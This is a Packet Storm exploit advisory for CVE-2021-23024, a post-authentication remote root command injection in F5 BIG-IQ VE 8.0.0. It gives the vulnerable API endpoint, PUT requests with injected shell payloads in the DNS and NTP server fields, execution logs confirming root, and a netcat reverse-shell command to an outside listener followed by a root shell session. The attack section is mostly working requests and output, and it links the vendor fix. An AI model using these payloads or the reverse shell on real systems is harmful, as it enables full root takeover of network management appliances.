

F5 BIG-IQ VE 8.0.0-2923215 Remote Root

Authored by [Jeremy Brown](#)

Posted Jun 23, 2021

F5 BIG-IQ VE version 8.0.0-2923215 post-authentication remote root code execution exploit.

tags | [exploit](#), [remote](#), [root](#), [code execution](#)

advisories | [CVE-2021-23024](#)

SHA-256 | 06ca92ed589ce099a31c2500c551bccdd8f20879de941a5f994508892b97ce94e [Download](#) | [Favorite](#) | [View](#)

Related Files

Share This

Like

Twitter

LinkedIn

Reddit

Digg

StumbleUpon

Change MirrorDownload

F5 BIG-IQ VE v8.0.0-2923215 Post-auth Remote Root RCE

CVE-2021-23024

Details

It was possible to execute commands with root privileges as an authenticated privileged user via command injection in easy-setup-test-connection.

There are two blind command injection bugs in Test DNS Connection and Test NTP Connection features, which make request to mgmt/shared/system/easy-setup-test-connection.

User accounts tested for calling the API:

```
- Admin
- User + Administrator Role
```

SSH is enabled by default for the root user, but the system does not intend the admin account to gain a shell access:

```
admin:x:0:500:Admin User:/home/admin:/bin/false
```

But an admin (or a user with admin-like privileges) can elevate privileges to root and gain a shell via command injection in the web portal.

```
-----
Repro
-----
```

<https://bigiq/ui/system/this-device/dns-ntp/dns-ntp-edit>

Modify and replay back the dnsServerAddresses JSON field.

```
-----
Request
-----
```

```
PUT /mgmt/shared/system/easy-setup-test-connection HTTP/1.1
X-F5-Auth-Token: eyJraWw.....
.....
{"dnsServerAddresses":["%${id}/${tmp}/${id}"],"ntpServerAddresses":[]}
or
{"dnsServerAddresses":["8.8.8.8"],"ntpServerAddresses":["$(whoami)"]}
```

```
-----
Response
-----
```

```
HTTP/1.1 400 Bad Request
Server: webd
.....
```

```
{"code":400,"message":"Dns ${id}/${tmp}/${id} is not valid\n","originalRequestBody":{"dnsServerAddresses":["%${id}/${tmp}/${id}"],"ntpServerAddresses":{}},\"referer\":\"https://bigiq/ui/system/this-device/dns-ntp/dns-ntp-edit\",\"restOperationId\":\"2101063\",\"errorStack\":{},\"kind\":\"restererrorresponse\"}
```

and respectively

```
{"code":400,\"message\":\"NTP ${whoami} is not valid\n","originalRequestBody":{"dnsServerAddresses":["8.8.8.8"],"ntpServerAddresses":["$(whoami)"]},\"referer\":\"https://bigiq/ui/system/this-device/dns-ntp/dns-ntp-edit\",\"restOperationId\":\"2149253\",\"errorStack\":{},\"kind\":\"restererrorresponse\"}
```

```
-----
Execution Log
-----
```

DNS:

```
pid=7349 executed [/bin/sh -c dig +short +time=5 +tries=1 %${id}/${tmp}/${id} ]
pid=7351 executed [id ]
pid=7349 executed [dig +short +time=5 +tries=1 @ ]
```

```
[root@big:ModuleNotLicensed::LICENSE INOPERATIVE:Standalone] config # cat /tmp/${uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0
```

NTP:

```
pid=1288 executed [/bin/sh -c dig +short +time=5 +tries=1 @8.8.8.8 ${whoami} ]
pid=1290 executed [whoami ]
pid=1288 executed [dig +short +time=5 +tries=1 @8.8.8.8 root ]
```

```
-----
Exploitation
-----
```

The netcat binary with -e support is installed on the system already making a remote shell easy for demo.

A command such as this will provide the connection to our client listener: "nc 10.0.0.100 5000 -e /bin/bash" while on the client we will drop into a root shell on the bigiq server.

```
$ nc -l -p 5000
... connection received

python -c 'import pty; pty.spawn("/bin/bash")'
```

```
[@big:ModuleNotLicensed::LICENSE INOPERATIVE:Standalone] restjavad # pwd

/var/service/restjavad

[@big:ModuleNotLicensed::LICENSE INOPERATIVE:Standalone] restjavad # id

uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0

[@big:ModuleNotLicensed::LICENSE INOPERATIVE:Standalone] restjavad # ps
.....
32320 ?        S      0:00 su elasticsearch -s /bin/bash -c export JAVA_HOME=/usr/lib/jvm/jre-1.8.0-openjdk.x86_64;export ES_JAVA_OPTS="-Xms6000m -Xmx6000m";export ES_PATH_CONF=/var/config/rest/elasticsearch/config;exec bin/elasticsearch >/dev/null 2>&1
32335 tty1     S      0:00 python -c import pty; pty.spawn("/bin/bash")
32336 pts/0    Ss     0:00 /bin/bash
```

```
====
Fix
====
```

<https://support.f5.com/csp/article/K06024431>

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

Top Authors In Last 30 Days

Red Hat 201 files
Ubuntu 78 files
Debian 24 files
LiquidWorm 23 files
malvuln 12 files
nu11security 11 files
Gentoo 9 files
Google Security Research 8 files
T. Weber 4 files
Julien Ahrens 4 files

File Tags

ActiveX (932)	December 2022
Advisory (79,754)	November 2022
Arbitrary (15,694)	October 2022
BBS (2,859)	September 2022
Bypass (1,619)	August 2022
CGI (1,018)	July 2022
Code Execution (8,926)	June 2022
Conference (673)	May 2022
Cracker (840)	April 2022
CSRF (3,290)	March 2022
DoS (22,602)	February 2022
Encryption (2,349)	January 2022
Exploit (50,359)	Older

File Inclusion (4,165)

File Upload (946)

Firewall (821)

Info Disclosure (2,660)

Intrusion Detection (867)

Java (2,899)

JavaScript (821)

Kernel (6,291)

Local (14,201)

Magazine (586)

Overflow (12,419)

Perl (1,418)

PHP (5,093)

Proof of Concept (2,291)

Protocol (3,435)

Python (1,467)

Remote (30,044)

Root (3,504)

Ruby (594)

Scanner (1,631)

Security Tool (7,777)

Shell (3,103)

Shellcode (1,204)

Sniffer (886)

File Archives

December 2022

November 2022

October 2022

September 2022

August 2022

July 2022

June 2022

May 2022

April 2022

March 2022

February 2022

January 2022

Older

Systems

AIX (426)

Apple (1,926)

BSD (370)

CentOS (55)

Cisco (1,917)

Debian (6,634)

Fedora (1,600)

FreeBSD (1,242)

Gentoo (4,272)

HPUX (878)

iOS (330)

iPhone (108)

IRIX (220)

Juniper (67)

Linux (44,315)

Mac OS X (684)

Mandriva (3,105)

NetBSD (255)

OpenBSD (479)

RedHat (12,469)

Slackware (941)

Solaris (1,607)

[Login](#) or [Register](#) to add favorites

- [Spoof](#) (2,166)
- [SQL Injection](#) (16,102)
- [TCP](#) (2,379)
- [Trojan](#) (686)
- [UDP](#) (876)
- [Virus](#) (662)
- [Vulnerability](#) (31,136)
- [Web](#) (9,365)
- [Whitepaper](#) (3,729)
- [x86](#) (946)
- [XSS](#) (17,494)
- [Other](#)
- [SUSE](#) (1,444)
- [Ubuntu](#) (8,199)
- [UNIX](#) (9,159)
- [UnixWare](#) (185)
- [Windows](#) (6,511)
- [Other](#)



© 2022 Packet Storm. All rights reserved.

Site Links


- [News by Month](#)
- [News Tags](#)
- [Files by Month](#)
- [File Tags](#)
- [File Directory](#)


About Us

- [History & Purpose](#)
- [Contact Information](#)
- [Terms of Service](#)
- [Privacy Statement](#)
- [Copyright Information](#)

Hosting By

- [Rokasec](#)

 [Follow us on Twitter](#)

 [Subscribe to an RSS Feed](#)